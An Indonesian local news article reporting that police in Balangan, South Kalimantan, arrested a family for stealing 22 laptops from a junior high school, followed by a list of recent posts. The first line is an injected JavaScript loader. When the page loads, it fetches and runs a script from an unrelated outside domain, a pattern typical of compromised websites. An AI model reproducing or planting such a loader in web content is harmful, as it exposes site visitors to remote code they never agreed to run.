(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BALANGAN

Kisah Keluarga Pencuri dari Balangan, Gasak 22 Laptop Milik SMPN 1 Lampihong


PARINGIN, Satu keluarga komplotan pelaku pencurian 22 laptop di SMPN 1 Lampihong berhasil diringkus Polres Balangan. Mereka merupakan warga yang tinggal di Kecamatan Paringin Selatan, Kabupaten Balangan, Kalsel.

Pelaku pencurian sendiri sejatinya adalah dua kakak beradik SF (21) dan AR (17). Sedangkan berperan sebagai penjual laptop adalah sang ayah, SU (44) dan ibunya HM (40) yang mengetahui kasus pencurian tersebut.

Unikya, AR dulunya merupakan alumni SMPN 1 Lampihong. Dari pengakuannya, bahkan AR sempat menggunakan laptop tersebut untuk pelaksanaan UNBK 2019. Saat ini AR juga merupakan siswa pada satu SMA di Kabupaten Balangan.

Kapolres Balangan AKBP Moh Zamroni mengatakan, pencurian ini berawal dari laporan kepala sekolah SMPN 1 Lampuhong pada 14 September 2019. Pihak sekolah melaporkan kehilangan inventaris sekolah sebanyak 22 unit laptop.

Dari laporan ini, anggota polres Balangan melakukan penyidikan lapangan dan ditemukan keterangan yang mengarah ke tersangka. “Keterangan awal anggota daparkan dari warga bahwa ada seseorang yang menawarkan laptop milik Acer dengan ciri-ciri yang sama dengan laptop yang hilang di Desa Warukin. Dari informasi itu, kami langsung lakukan penangkapan,” ujar AKBP Moh Zamroni kepada wartawan, Rabu (9/10).

Polisi meringkus lebih dulu pelaku inisial SF dengan barang bukti tiga buah laptop merek Acer. Dari pengakuan SF, petugas Polsek Lampihong yang dipimpin langsung Kapolsek Lampihong Ipda Kuswanto menangkap tiga tersangka lain yakni AR, SU, dan HM di rumahnya, pada Kamis (3/10) lalu.

Barang bukti yang bisa diambil dari tiga pelaku ini sebanyak 18 laptop merk Acer warna silver dan satu buah laptop merk Wearles warna Hitam. Empat unit laptop lainnya sudah dijual pelaku. “Tersangka ini akan kita kenakan pasal tindak pidana pencurian dengan pemberatan sebagaimana dimaksud dalam rumusan pasal 363 KUHP,” terangnya.(cel/kmp)

Reporter : Cel/kmp
Editor : Chell


Desy Arfianty

Recent Posts

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

3 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

5 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

6 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

7 jam ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

8 jam ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

8 jam ago

This website uses cookies.